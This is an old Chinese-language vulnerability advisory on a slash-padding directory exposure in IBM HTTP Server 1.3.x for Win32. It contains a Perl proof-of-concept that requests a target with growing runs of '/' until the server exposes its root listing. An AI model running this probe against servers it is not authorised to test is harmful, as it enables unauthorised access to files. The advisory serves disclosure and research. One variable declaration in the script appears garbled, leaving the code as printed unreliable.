发布日期：2000-06-02
更新日期：2000-06-03

受影响系统：

    IBM HTTP Server 1.3.6.2 win32
    IBM HTTP Server 1.3.3 win32

描述：

---

特定数目的'/'附加在一个http请求之后，就可以访问www服务器的根目录以及所有子
目录。具体需要多少'/'，根据不同的版本和配置而不同。对于
HTTP Server 1.3.6.2 (win32) ，如果http请求后面附加了211个'/'，就可以访问到
根目录。

<* 来源： Marek Roy marek_roy@hotmail.com
         H D Moore <hdm@secureaustin.com>
*>


测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

H D Moore <hdm@secureaustin.com> 提供了一个简单的perl脚本以确定究竟需要多少个'/' :

#!/usr/bin/perl

use LWP::Simple;
use strict;

my $host = shift() || die "usage:  $ARGV[0] [hostname]";
my $cnt;
my $data;
my $odata;
my $;

$odata = get("http://$host/");
if ($odata eq "")
{
    die "no response from server:  $host\n";
}
for ($i = 2; $i < 4096; $i++)
{
    print "Trying $i...\n";
    $data = get("http://$host" . ("/" x $i));
    if ($data ne $odata)
    {
        print "/ = $i\n\n$data\n\n";
        exit;
    }
}



建议：

---

暂无

浏览次数：6111
严重程度：0（网友投票）